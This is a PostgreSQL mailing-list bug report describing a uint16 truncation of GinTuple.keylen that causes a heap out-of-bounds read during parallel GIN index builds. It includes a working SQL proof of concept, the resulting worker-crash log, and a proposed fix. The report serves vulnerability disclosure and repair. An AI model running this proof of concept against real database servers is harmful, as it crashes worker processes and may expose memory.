| From: | PG Bug reporting form <noreply(at)postgresql(dot)org> |
|---|---|
| To: | pgsql-bugs(at)lists(dot)postgresql(dot)org |
| Cc: | 1217816127(at)qq(dot)com |
| Subject: | BUG #19545: Integer truncation of `GinTuple.keylen` causes out-of-bounds read in parallel GIN index build |
| Date: | 2026-07-07 14:13:44 |
| Message-ID: | 19545-0f25b7e47351e8fc@postgresql.org |
| Views: | Whole Thread | Raw Message | Download mbox | Resend email |
| Thread: | |
| Lists: | pgsql-bugs |
The following bug has been logged on the website:
Bug reference: 19545
Logged by: Yuelin Wang
Email address: 1217816127(at)qq(dot)com
PostgreSQL version: 19beta1
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
`GinTuple.keylen` is declared `uint16` (max 65535), but in
`_gin_build_tuple()` the local `keylen` is an `int` taken from
`VARSIZE_ANY(key)` (up to ~1 GB for a varlena `NORM_KEY`). The store
`tuple->keylen = keylen` **truncates** when the key exceeds 65535 bytes. The
tuple's *memory layout* (palloc size, key memcpy, TID-array pointer) uses
the full `int` keylen and is correct. Only the stored field is truncated. On
read-back the truncated value mis-computes the posting-list region, so the
decoder walks attacker-controlled bytes past the allocation, which is a heap
out-of-bounds read.
### Details
```c
int keylen; /* 2251 */
keylen = VARSIZE_ANY(DatumGetPointer(key)); /* 2278: up to ~1GB */
tuple->keylen = keylen; /* 2327: stored into uint16 ->
truncation */
```
On read-back `_gin_parse_tuple_items()` (2419-2420) uses the truncated
`a->keylen`, so the posting-list pointer lands ~64 KB early inside the
attacker's key content and `ginPostingListDecodeAllSegments()` decodes
attacker-controlled bytes off the end of the allocation. This is
parallel-only because the `GinMaxItemSize` guard lives in the leader's
`GinFormTuple`, whereas a parallel worker reparses the serialized `GinTuple`
*before* any size gate (present in 19devel).
### Proof of Concept
`array_ops`' `extractValue` returns full-size array-element datums, so a
`text[]` element > 65535 bytes flows in as `NORM_KEY`:
```sql
CREATE SCHEMA vuln_001_sch;
CREATE TABLE vuln_001_sch.vuln_001_t (a text[]);
-- one 100000-byte element per row (> 65535 -> keylen truncation), enough
rows for real sort work
INSERT INTO vuln_001_sch.vuln_001_t
SELECT ARRAY[repeat('x', 100000)] FROM generate_series(1, 300);
-- force a parallel maintenance build (all settable by a non-superuser)
ALTER TABLE vuln_001_sch.vuln_001_t SET (parallel_workers = 4);
SET max_parallel_maintenance_workers = 4;
SET min_parallel_table_scan_size = '0';
CREATE INDEX vuln_001_idx ON vuln_001_sch.vuln_001_t USING gin (a);
```
Run:
```
psql -h /tmp -p 36901 -U ylwang -d postgres -f vuln_001.sql
```
### Result
The parallel build crashed 3 workers (PIDs 114475 to 114477) during `CREATE
INDEX ... USING gin`, on exactly the predicted path
(`ginPostingListDecodeAllSegments`):
```
DEBUG: building index "vuln_001_idx" ... with request for 4 parallel
workers
server closed the connection unexpectedly
parallel worker ... ExceptionalCondition ...
parallel worker ... ginPostingListDecodeAllSegments+0x163
TRAP: failed
Assert("OffsetNumberIsValid(ItemPointerGetOffsetNumber(&segment->first))"),
File: "ginpostinglist.c", Line: 324
```
### Fix
Widen the field to hold real key lengths by declaring `GinTuple.keylen` as
`int`/`uint32` in `gin_tuple.h`. Alternatively, reject oversized keys
explicitly in `_gin_build_tuple()` by calling `ereport(ERROR)` when `keylen
> UINT16_MAX`, so the parallel path fails as cleanly as the serial one.
| From | Date | Subject | |
|---|---|---|---|
| Next Message | Thom Brown | 2026-07-07 14:20:14 | Re: EXPLAIN (VERBOSE) fails with for JSON_ARRAYAGG/JSON_OBJECTAGG + window function |
| Previous Message | Thom Brown | 2026-07-07 13:49:23 | Re: EXPLAIN (VERBOSE) fails with for JSON_ARRAYAGG/JSON_OBJECTAGG + window function |